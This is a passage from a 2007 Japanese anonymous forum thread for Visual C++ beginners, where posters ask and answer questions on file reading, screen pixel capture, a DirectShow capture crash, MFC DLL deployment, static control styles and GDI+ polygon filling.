628 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:40:14 ] ユーザ定義型を組込型と同じように入出力できるのはいいと思う。
629 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:46:27 ] VCじゃなくてC/C++の話になると書き込みが増えるのは VCの話には参加できなくてROMってる初心者が多いということか
630 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:56:49 ] 俺もストリームだけは便利さがいまだに分からん。 まあテキスト入出力自体あまりしないからかもしれん、 作るのは GUI アプリばっかだからコンソールは使わないし、 、データ保存はもっぱらバイナリだし、 設定ファイルは WritePrivateProfileString だからなあ
631 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 12:18:27 ] >>629 C/C++の話の方がdeepな感じがするが
632 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 13:25:30 ] VC6使ってる初心者が多いしVCは万年初心者が多いのか? C/C++のベテランでも挫折するという話だし
633 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 17:22:29 ] いつまでたっても初心者だ
634 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 19:53:59 ] 完全VCオンリーで語ることなんかあるのか?
635 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 20:27:38 ] VC固有の動作、CRTの独自拡張、MFCやATLとか
636 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 21:55:11 ] VCという道具について語るのが目的か? VCという道具を使ってWindowsプログラミングをするのが目的だろ
637 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 22:58:37 ] API直打ちしている人はC言語のfgetsみたいにファイルから テキストを一行取得するようなことをしたい場合は ReadFileとかで適当なバイト数読み出して 行末を見つけて抜き出す、のようにやっているんですか?
638 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 23:38:21 ] 人によるだろう
639 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 01:38:18 ] >>637 そうだよ。SDKだけでやるならね。
640 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 05:34:28 ] ちなみに CRT は内部で >>637 が言ってることをやってるよ。
641 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 09:13:46 ] SDKオンリーだろうかCランタイムだろうがVBランタイムだろうが 自前でやるか、呼び出す関数・メソッドが内部でやるか ただそれだけのことでしかないわな
642 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 11:49:44 ] 641って馬鹿?意味を全く理解してないw
643 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 13:59:09 ] たぶんCでべたに書くのが一番効率がいい。 けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。 どれが一番いいのか?といわれたら 自分で何種類か書いて実際試してみるしかないだろうな 自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。
644 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:20:21 ] 質問です。 プロパティウィンドウからコントロールのフォントや色を変えたいのですが、 それらしい項目が見つかりません。 使っているVCのバージョンは2005なのですが、昔のバージョンは それっぽいのがあったと思ったのですが・・・ どうやったら変更できますでしょうか?
645 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:30:45 ] もともとネェヨ
646 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:32:59 ] いちばん肝心な情報が抜けてるから
647 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 23:49:02 ] >>644 それはVBだ
648 名前:デフォルトの名無しさん [2007/03/06(火) 08:50:44 ] VC++ やっと2003から2005に上げられたんですけど メニューのイベント・ハンドラが変・・・・ 2003ではメニューのアイテムから イベントハンドラの追加を選ぶと、 『追加して編集』と『コードを編集』ってボタンがあって すでにイベントハンドラがある場合は、 『コードを編集』を押すと、 ソースのその関数に飛んでくれたんだけど 2005では『追加して編集』しかないんです これって使用なんですか? 『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?
649 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 10:19:47 ] 「コードを編集」はある。見えないだけだろう タブで進めてリターン押してみ IEのバージョンは?
650 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 10:23:51 ] 確かにIE7だと見えない。 >>649 の言うように、タブで移動して押すしかないな。
651 名前:デフォルトの名無しさん [2007/03/06(火) 12:37:22 ] >>649 >>650 確かにIE7です 『追加して編集』と『キャンセル』の間が開いてて タブで移動していって適当なところでリターンしたら『コード編集』できました とりあえず、ありがとうございます だけど、コード編集ボタンを直接見たり、押すことはできないんですか? IEのバージョンを6とかに戻せばいいんでしょうか? (戻せるのかどうかわかりませんが・・・・)
652 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 12:45:29 ] >>644 を見て思ったんだけど unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。 windowsのgui開発言語もそうなればいいのに。
653 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 13:42:57 ] windowsのgui開発といってもVCに限定してもいろいろあるし
654 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 13:55:30 ] リソースエディタはリソースを編集するエディタだから、 リソースの仕様に含まれていない以上、できなくて当然とも言えるな。
655 名前:デフォルトの名無しさん [2007/03/06(火) 14:16:21 ] すいません、質問があります。 MS VC++.NET2003なのですが、 画面をキャプチャする方法をどなたかご存知でしょうか。 画面全体でなくてもいいのですが、 (マウスカーソルの部分の1ドットだけでいいんですが)、 キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。 よろしくお願いします。
656 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 14:27:16 ] マウスのイベントかなんかで 指定された座標のピクセルの RGB (赤、緑、青) 値を取得
657 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 14:38:18 ] デスクトップのDC取得してGetPixel
658 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 16:31:25 ] どうしてもうまくいかんので質問すま。 wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html のソースを参考にDirector用のXtraを作成中なのです。 んで、ソース中の BITMAPINFO BitmapInfo; をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。 何故? ちなみに開発環境はWindowsXP+VC6.0です。
659 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:20:03 ] > 何故? コードがおかしいから
660 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:30:33 ] ドコガオカシインダロウ・・・(;´д`)
661 名前:658=660 mailto:sage [2007/03/06(火) 17:32:11 ] ID出ないの忘れてた。
662 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:35:36 ] 落ちるコードを見せろ つーか、Copyで落ちるならサイズ間違ってんだろ
663 名前:658 mailto:sage [2007/03/06(火) 17:37:40 ] HRESULT Cam::initialize() { HRESULT hr; IBaseFilter *pSrcFilter=NULL; CoInitialize(NULL); // COMの初期化 ------------------------------(中略)-------------------------------------------------- // ビットマップ情報の取得 pGrab -> GetConnectedMediaType( &amt ); // ビデオ ヘッダーへのポインタを獲得する。 VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; // ビデオ ヘッダーには、ビットマップ情報が含まれる。 // ビットマップ情報を BITMAPINFO 構造体にコピーする。 ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) ); CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER)); // ---- キャプチャ開始 ---- pMC -> Run(); //バッファリングを有効にする pGrab->SetBufferSamples(TRUE); //ワンショットモードを無効にする pGrab->SetOneShot(FALSE); // 画像処理バッファ用メモリ確保 bufferTemp = (BYTE *)malloc(bufsize); return S_OK; }
664 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:38:56 ] (中略)部分は658リンク先のコードのコピペ。
665 名前:658 mailto:sage [2007/03/06(火) 17:41:24 ] ヘッダは以下。 #include <windows.h> #include <dshow.h> #include <qedit.h> // SampleGrabber用 #include <math.h> #include <malloc.h> static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}}; #ifndef __ATLBASE_H__ #include <atlbase.h> #endif IGraphBuilder * pGraph = NULL; IMediaControl * pMC = NULL; ICaptureGraphBuilder2 * pCapture = NULL; ICreateDevEnum * pDevEnum = NULL; IEnumMoniker * pClassEnum = NULL; IBaseFilter *pbf = NULL; IMoniker * pMoniker = NULL; ULONG cFetched; IBaseFilter *pF = NULL; ISampleGrabber *pGrab = NULL; // これらは後で解放すること long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ BYTE *bufferTemp = NULL; AM_MEDIA_TYPE amt; HWND hwnd; BITMAPINFO BitmapInfo; HBITMAP hBitmap; (以下略)
666 名前:デフォルトの名無しさん [2007/03/06(火) 17:43:19 ] コンピュータ名の取得の仕方を教えてください
667 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:43:24 ] // ビットマップ情報の取得 pGrab -> GetConnectedMediaType( &amt ); // ビデオ ヘッダーへのポインタを獲得する。 VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; ちゃんと取れてるんだろうな。 エラーチェックぐらいは当然やってるよな?
668 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:43:59 ] >>666 ぐぐれ
669 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:46:00 ] >>667 いかんせんデバッグモードみたいなのがないのですよ。orz これがXtra開発の嫌なところで(ry >>658 のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。
670 名前:655 mailto:sage [2007/03/06(火) 17:46:59 ] >>656-657 まだ確認はとれていないのですが、やってみます。 ご回答ありがとうございます。
671 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:54:40 ] せめてASSERTくらい入れとけ
672 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:59:29 ] ちなみに>>663 中略以降を // ビットマップ情報の取得 pGrab -> GetConnectedMediaType( &amt ); // ビデオ ヘッダーへのポインタを獲得する。 VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; // ビデオ ヘッダーには、ビットマップ情報が含まれる。 // ビットマップ情報を BITMAPINFO 構造体にコピーする。 BITMAPINFO BitmapInfo; ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) ); CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER)); てな感じにすると普通に動くます。 だけどこれじゃBITMAP情報取れないので意味がない。orz
673 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:10:50 ] >>672 違いがわからんぞ BITMAPINFO BitmapInfo; の場所だけか?
674 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:16:49 ] >>673 そうなのです。
675 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:17:22 ] Xtraって知らないけど663のCopy前で BITMAPINFO tmp; if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize) MessageBox(0,"勘弁してよ",0,0); ってやったらどうなる?
676 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:20:27 ] グローバル変数なのかよ。 本来BitmapInfoは可変サイズだからそのまま宣言することは あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・ まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ
677 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:03 ] あ、だめだ675は忘れて
678 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:10 ] >>675 「勘弁してよ!」って言われた! ・・・つまりどういうこと?(;´д`)
679 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:39 ] >>675 初期化してないbiSizeに意味が?
680 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:25:18 ] sizeof(BitmapInfo)を出そうとしたら落ちる・・・orz
681 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:26:42 ] BitmapInfoって名前がよくないw 何かとぶつかってんじゃないのか
682 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:29:52 ] MessageBox(0,(const char *)&BitmapInfo,0,0); なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz
683 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:34:05 ] 正直、全体的にツッコミどころ満載。
684 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:35:02 ] そういうのは、 sprintf(str, "%X", &BitmapInfo); とかやるもんだ
685 名前:658 mailto:sage [2007/03/06(火) 18:38:57 ] >>684 stdioは使えないのですよ。 コンソールとか開きませんし。
686 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:41:41 ] あ、使えるか。orz
687 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:43:51 ] アドレス:1000E380 sizeof(BitmapInfo):44 と出ました。
688 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:55:13 ] で、ZeroMemoryで落ちなくて CopyMemoryで落ちるのか? ローカルでBITMAPINFO を作ってそっからコピーしては。 とにかく、オオボケかましてる率98%だからな
689 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:07:42 ] >>688 大ボケですか・・・orz class Cam { BITMAPINFO BInfo; とか宣言して // ビデオ ヘッダーには、ビットマップ情報が含まれる。 // ビットマップ情報を BITMAPINFO 構造体にコピーする。 BITMAPINFO BitmapInfo; ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) ); CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER)); BInfo = BitmapInfo; なんてやっても落ちます。
690 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:14:01 ] 初心者スレだから言うけれど 落ちるにも色々あるんだ。 落ちた時のエラーメッセージを貼り付けるとよいかと
691 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:14:22 ] BInfo = BitmapInfo; で落ちるのか? 落ちるというのは、その行で落ちるのか? BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?
692 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:19:25 ] >>690 A fatal error has occurred. Director will quit now. と出た後 Warning! Director is completely out of memory and must exit immediately. てなダイアログが出て終了しま。
693 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:20:18 ] >>691 その行で落ちるので以降アクセスできるかどうかもわかりません。
694 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:25:58 ] BITMAPINFO BitmapInfo; ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) ); char str[100]; sprintf(str, "%X", &BInfo); MessageBox(0,str,0,0); printf(str, "%d", BInfo.bmiHeader.biWidth); MessageBox(0,str,0,0); CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER)); てな感じだと普通に動きます。
695 名前:658 mailto:sage [2007/03/06(火) 20:32:33 ] 似たプログラムが手元にあるんですけどそっちは普通に動くんですよね・・・。orz とりあえず、もうちょい一人であれこれ考えてみます。
696 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 00:09:09 ] どっかでスタック壊してそうな こっちで再現できるだけのコードが無いともうわからん
697 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 09:12:52 ] SendInput、INPUT構造体、KEYBDINPUT構造体を使おうとしたのですが ビルドかけると「定義されてません」とコンパイラに怒られます windows.hはstdafx.h内でインクルードしてあり、stdafx.hもちゃんとインクルードしてます _WIN32_WINNTの値も問題なく、#ifディレクティブの条件にも合ってます 特に定義がスキップされる要素は無いのになぜ定義されてないと出るのかサッパリわかりません・・・ 何か、原因とか手がかりとかわかる方いらっしゃいませんか
698 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 10:39:38 ] NOUSER定義してました、とかなら殴る。 問題無いと言っている_WIN32_WINNTの値は、具体的には何だ? stdafx.hをupした方が早いかもしれんな。 あと、とりあえずVCのバージョンは書いとけ。
699 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 10:56:52 ] _WIN32_WINNTだけではなくWINVERも指定しておけよ。
700 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 11:28:21 ] バージョンはVC++7.0です _WIN32_WINNTは0x0500となってました (winuser.hのSendInput周辺を囲ってる#ifは_WIN32_WINNT > 0x0400でした) WINVERの方は覚えてないです・・・
701 名前:デフォルトの名無しさん [2007/03/07(水) 17:59:19 ] 質問があります。 VS.NET 2003 VC++ の環境で、 フォームにラベルを配置し、ラベルのMouseMoveイベントに以下のコードを書きました。 // ボタン押下しっぱなしであれば移動 if(e->Button == MouseButtons::Left) { label_sp->Location.X = e->X; label_sp->Location.Y = e->Y; label_sp->Invalidate(); } 私は、このラベルをマウスでドラッグできることを予測して このコードを書きました。 ところが、ラベルはぴくりとも動いてくれません。 なぜなのでしょうか?
702 名前:701 mailto:sage [2007/03/07(水) 18:48:08 ] 自己解決しました…。 以下に解決に至ったコードを書きます。 // ボタン押下していれば移動 if(e->Button == MouseButtons::Left) { int X = Form1::MousePosition.X - Form1::Location.X int Y = Form1::MousePosition.Y - Form1::Location.Y label_sp->Location = Point(X, Y); } 多少ズレはありますがこのようにやってみます。 スレ汚しすみません。
703 名前:デフォルトの名無しさん [2007/03/07(水) 18:56:45 ] localtime関数はマルチスレッドで使う場合 スレッドセーフではないと聞きました VC++2002ですが解決策を教えてください
704 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:01:54 ] >>703 マルチスレッドは良くない。
705 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:02:36 ] マルチかよ
706 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:03:16 ] >>702 label_sp->Location = Point(X, Y); // ここ重要 Location.Xは、返された一時オブジェクトに対しての操作なので、 ラベルには反映されなかった。
707 名前:702 mailto:sage [2007/03/07(水) 19:27:56 ] >>706 あ、いえ、あれで実際動いてますよ? ラベルのドラックができてます。 まだ、マウスカーソルのサイズ分のズレがありますが、それは調整中です。 回答ありがとうございます。
708 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:31:11 ] >>703 スレッドセーフでないものをスレッドセーフにするには、 ラップすれば良いと何かの本で… 私ごときでは具体例は出せませんが
709 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:52:02 ] >>703 VC++2002がどんな設定だったか覚えていないが 設定でマルチスレッド対応のランタイムライブラリを選べばOK。 (推測) それとスレッドの作成に Win32APIのCreateThreadではなく C言語用かMFC用のを使えばいいんじゃない。
710 名前:706 mailto:sage [2007/03/07(水) 20:04:20 ] >>707 >>701 が動かない理由な。判りにくくてすまそ。
711 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 20:07:53 ] >>703 マルチってほんとに便利ですね。いらないスレッドはポイですよ。 【初心者歓迎】C/C++室 Ver.35【環境依存OK】 pc11.2ch.net/test/read.cgi/tech/1171888583/331
712 名前:デフォルトの名無しさん [2007/03/08(木) 10:59:55 ] 質問に合うスレッドに書き換えただけですがなにか?
713 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 11:17:00 ] そもそも、何でスレッドセーフではないのか? を考えたことあるか?
714 名前:デフォルトの名無しさん [2007/03/08(木) 11:58:24 ] 内部の静的な領域を使い回しするからですよね
715 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 13:16:21 ] 「〜ですけど、何か?」ってすっかり一般的になってるなw もともとこの言い回し、WhiteAlbumってゲームに出てきたジャーマネの口癖を パクッたやつだって知ってるヤツはあまりいまい…
716 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 13:35:25 ] 数年前にはやった
717 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 14:00:28 ] 6年来の葉鍵板住人だけど初耳だった
718 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 18:04:21 ] >>717 だったら「〜ですが何か?PART.XX」ってスレ、何度も目撃してるはずだが… たしか名前は弥生さんだった スレ違いスマソ
719 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 19:49:01 ] C++で委譲しまくってたら処理を振り分ける部分が恐ろしく複雑で忙しそうになってしまった 最初のうちは入門書に載ってるみたいに色んな機能を併せ持った奴作っていくようにした方がいいんでしょうか?
720 名前:デフォルトの名無しさん [2007/03/08(木) 22:56:09 ] 教えてください。 VC .NET 2003 でMFCを使ってプログラムを使うと、他の2003、2000の 環境で「MFC70.DLLがない」というエラーで実行できませんでした。 DLLを入れれば動くのは分かりますが、VCのコンパイルオプションなどで 通常の2000などの環境でも動くように出来ないのでしょうか? 「プロパティ-全般-MFCの使用」でスタティックにすれば実行できましたが、 スタティックにしたために実行ファイルのサイズが大きくなり格好が悪いです。 もっとスマートな方法はないでしょうか?
721 名前:720 mailto:sage [2007/03/08(木) 22:56:50 ] > VC .NET 2003 でMFCを使ってプログラムを使うと VC .NET 2003 でMFCを使ってプログラムを作ると の間違いでした。
722 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 23:16:42 ] 寝言?
723 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 23:56:13 ] 実行ファイルが数MBあったところで、ガタガタ抜かす奴は今時いないから気にするな。
724 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:00:24 ] >>720 EXEにMFC70.DLLを同梱 スタティックリンク MFCを使わない さあどれでも好きなものを選べ。
725 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:04:10 ] ネットで配布されてるフリーのライブラリを複数併用してると 実行ファイルが凄いことになるよな 併用できるように(試行錯誤で)改造することは出来ても不要なコンポーネントを削ることまでは出来ないから 結局10MbytesのExeとかになっちゃう そんなのでも一から自分で組むよりはパフォーマンスが良いって言うのが悲しいというか情けないところなんだけど・・・orz
726 名前:720 mailto:sage [2007/03/09(金) 00:04:15 ] .NETでMFCを使う以上、仕方がないということですね。 ありがとうございました。
727 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:19:34 ] >>725 ならんよ。デバッグのままなんじゃないのか
728 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 14:54:28 ] 10Mのexeはすごいなぁw どんだけ超大作なんだろうか
729 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 15:35:37 ] 10MBの実行コードってソースコードにしてどのぐらいだろうね きっと、いろんな人のコードがいっぱい詰まってるんだね
730 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 19:57:12 ] Perlのコードがそのまリテラルとして入ってるんだろ。
731 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 12:51:17 ] 要らん.lib削ったら5分の1になりますた ライブラリの機能実験のため一杯詰め込んでたの忘れてましたすいません><
732 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 13:24:53 ] 質問です。 複数のコントロールをcreateで作成するときに、 リソースIDを割り当てることに困っているのですが、 割り当てようとしているID値が他で使われていないか、 または使われていないID値を返すような関数はありますでしょうか? よろしくお願いします。
733 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 17:29:04 ] 自分で管理してないと使いものにならないと思うんだが気のせいか? 使う予定がないんだったら全部staticにしとけばいいし
734 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 19:25:05 ] >>732 VC2005ならリソースを選択した状態で編集メニューのリソースシンボル。 新規作成で追加し、そのIDを使うようにすれば管理は多少楽かも。 でも使い勝手は良くないな...
735 名前:658 mailto:sage [2007/03/10(土) 20:10:15 ] pc11.2ch.net/test/read.cgi/tech/1162913156/268-280 というやりとりを経て戻ってきました。 &BitmapInfo.bmiHeaderの値がおかしい気がするんですが・・・。
736 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:30:23 ] 1. もう一度最初から組みなおす 2. デバッガを上手く使う 3. 諦める 少なからず、デバッガについて機能を調べ上手に利用して 原因を特定していくとかいう根性がないようであれば、 VCとは相性が悪かったと思って別の言語に移った方がいい。 VC(というか、C/C++)は結構面倒だ。 Visual Studio でのデバッグ msdn2.microsoft.com/ja-jp/library/sc65sadd (VS.80).aspx C# なんかメモリなんかあんまり考えなくて済むから割とオススメだぞ。
737 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:39:09 ] 実は付近のメモリ破壊していて そのとばっちりを受けている場合は直すの大変だよね。 まず原因を探すのが大変。
738 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:41:04 ] >>736 C#使いたいんですがXtraがC++しか対応してないんですよ。orz
739 名前:658 mailto:sage [2007/03/10(土) 20:49:45 ] あと、デバッガ使えるなら使ってるんですよ。 いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz
740 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:57:54 ] > いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz 良く解らんけど、何故に VC のデバッガが利用できない? プラグインとして動作するしかないからか? もしそれならデバッガのアタッチ機能を使え。プロセスに侵入するんだ。 (とはいえ、Mcromedia製の云々っぽいからデバッガに関連する何かはありそうだが…) それと、デバッガの機能としての 「特定のメモリアドレスにアクセスした場合にブレーク」 も併用するとよいと思うぞ。
741 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 02:19:13 ] createで作ったStatic Controに画像(jpg)を表示する処理を入れたのですが、 ソース上では先にcreateしているのに、 実行時には「画像描画」→「createしたStatic Controlの表示」の順になっているためか、 画像の上にstaticがでてしまいます。 どうにかならないでしょうか・・・よろしくお願いします。
742 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 08:31:18 ] Staticつかう意味があるんだろうか?
743 名前:741 mailto:sage [2007/03/11(日) 08:53:50 ] >>742 当方、Staticじゃないと表示させられないという認識でおりました。 他のコントロールでも表示できるのであればそちらでよいと思ってます・・・
744 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 09:24:02 ] staticが表示するのと別のものを自分で表示するんだったら static使う意味がないんじゃないかということ
745 名前:743 mailto:sage [2007/03/11(日) 09:43:50 ] >>744 説明がちょっとわかりづらくなっていました。すみません・・・ Static Controlの枠の上にjpgを乗せるということをやりたかったんですが、 どういうわけか画像がStatic Controlの下に隠れてしまうんです。。。 Static Controlの属性が悪いのかなあ・・・
746 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 11:21:22 ] Static Controlのウィンドウスタイルだろ オレもSTATIC並べて枠と座標だけ利用することはたまにやる
747 名前:743 mailto:sage [2007/03/11(日) 11:26:02 ] >>746 回答ありがとうございます。 そのときのStatic Controlのウィンドウスタイルは どのようになっていますでしょうか? 私は SS_BITMAP | SS_WHITERECT | WS_BORDER | WS_VISIBLE でやっているのですが、なにか足りないものがあるでしょうか・・・ よろしくお願いします。
748 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 12:14:23 ] ビットマップも表示するんだ
749 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 12:17:05 ] SS_BITMAPは自分で中も描いちゃうから消えるだろ
750 名前:743 mailto:sage [2007/03/11(日) 12:48:39 ] >>748-749 SS_BITMAPを消してみましたがまだ駄目みたいです・・・ 泣きそう・・・
751 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 13:07:36 ] SS_WHITERECT も中を描画するだろw 枠だけとかあるだろ
752 名前:743 mailto:sage [2007/03/11(日) 14:00:30 ] >>751 SS_WHITERECTを消して、 SetBkModeでTRASPARENTにしてみても変わらないです。。。
753 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 14:07:00 ] SS_WHITEFRAMEとかSS_BLACKFRAMEとかあるだろう
754 名前:743 mailto:sage [2007/03/11(日) 14:18:25 ] >>753 GODと呼ばせてください・・・ できました・・・ 今日中に作成しないといけないものだったので、 昨日から胃が痛くてしょうがない状態でした。 ありがとう、本当にありがとうございました!
755 名前:デフォルトの名無しさん mailto:sage [2007/03/13(火) 18:36:23 ] 「胃が痛くてしょうがない状態」 あああ…。悲しいなそれは。
756 名前:デフォルトの名無しさん [2007/03/15(木) 15:56:25 ] 質問があります。 MS VC++.NET 2003 なのですが、以下のソースで三角を描画しました。 Pen * pen = new Pen(Color::Black); Point poly[] = { p1, p2, p3 }; g->DrawPolygon(pen, poly); これは成功しました。 今度はこれを塗りつぶしたいのですが、どうすれば良いのでしょうか? ここでのBrushの使い方がいまいち分かりません。 よろしくお願いします。
757 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 16:18:34 ] FillPolygon
758 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 16:20:18 ] 中を塗り潰すのはFill〜と命名されている。 FillPolygonはDrawでPenを引数に取っていた代わりにBrushを引数に取る。 単色に塗り潰すブラシはBrushの派生の1つSolidBrush、ほかにも何種類かブラシがある。 だから結局こうなる。 Brush* brush = new Brush(Color::Black); Point poly[] = {p1, p2, p3}; g->FillPolygon(brush, poly);
759 名前:デフォルトの名無しさん [2007/03/15(木) 17:03:50 ] w= *((ULONG *)( &iv->rbuf[iv->rbufq] )); 既設のvc++のソースを調査しています。 上記、処理の実行結果(w)には何が設定されるかわかりません。 *((ULONG *) ってどういう意味ですか? ご存知の方、ご教授願います。
760 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 17:05:36 ] unsigned long のポインタにキャストして、そのアドレスが指してる値を取り出してる
761 名前:デフォルトの名無しさん [2007/03/15(木) 17:09:22 ] >>760 ご教授に感謝
762 名前:デフォルトの名無しさん [2007/03/15(木) 19:05:02 ] テキストファイルのダンプ(16進)を表示したい。VC++のツールにありますか? ・メモ帳でunicode形式で保存したファイルを CStdioFile::ReadString()した時 意図しない動作をするので unicode形式のファイルの中身をコードで確認したい Visual C++ standard editionです。 ヘルプで検索するとデバッグ時のメモリダンプばかりヒットしてしまいます。 よろしくお願いします。
